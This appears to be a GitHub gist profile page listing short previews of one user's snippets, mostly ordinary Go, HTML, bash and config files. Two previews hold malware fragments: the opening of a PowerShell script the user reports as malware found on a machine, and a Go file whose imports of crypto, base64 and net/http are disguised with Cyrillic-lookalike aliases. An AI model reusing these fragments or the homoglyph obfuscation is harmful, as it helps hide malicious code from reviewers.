Skip to content

Instantly share code, notes, and snippets.

View itsnibsi's full-sized avatar

Nico Hämäläinen itsnibsi

  • Finland
  • 04:26 (UTC +03:00)
  • LinkedIn in/nibsi
View GitHub Profile
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Falling Hamster with Parachute</title>
<style>
body {
margin: 0;
padding: 0;
type Direction int
const (
North Direction = iota
East
South
West
)
func (d Direction) String() string {
version: v2
managed:
enabled: true
override:
- file_option: go_package_prefix
value: korso/gen
plugins:
- remote: buf.build/protocolbuffers/go
out: server/gen
opt: paths=source_relative
// parser/parser_test.go
package parser
import (
"fmt"
"testing"
"github.com/itsnibsi/numos/ast"
"github.com/itsnibsi/numos/lexer"
@itsnibsi
itsnibsi / updates.ps1
Created May 15, 2024 16:04
malware spotted on one of my machines
$sta = [threading.thread]::CurrentThread.GetApartmentState();
$scriptItem = Get-Item -Path $MyInvocation.MyCommand.Path;
if ($sta -ne "STA") {
powershell -sta -file $MyInvocation.MyCommand.Path;
exit(0);
}
$OS_Major = [System.Environment]::OSVersion.Version.Major.ToString() + "." + [System.Environment]::OSVersion.Version.Minor.ToString();
$global:worker = $true;
package context
import (
ааaааaааaаaaааaaаааa "context"
аaааaaаааaаaaaaааааa "crypto/aes"
aaaааaaaааaаaaаaaааa "crypto/cipher"
аааaаааaaаaaaаaааааа "encoding/base64"
ааaaаaaaaааaaaaaaaaа "fmt"
аaaaаaaaaааaааaаaaaa "math"
aааaaааааaaаааaaаaаa "net/http"
@itsnibsi
itsnibsi / kjt.sh
Created March 15, 2024 19:43
katso ja tee
#!/bin/bash
function kjt() {
if [ $# -lt 2 ]; then
echo "Usage: kjt path command"
return 1
fi
local path=$1
local command=${@:2}
@itsnibsi
itsnibsi / .eslintrc.json
Created February 23, 2024 18:22
eslint + prettier + next.js + vscode
{
"extends": [
"next",
"next/core-web-vitals",
"plugin:tailwindcss/recommended",
"prettier"
],
"overrides": [
{
"files": ["*.ts", "*.tsx", "*.js"],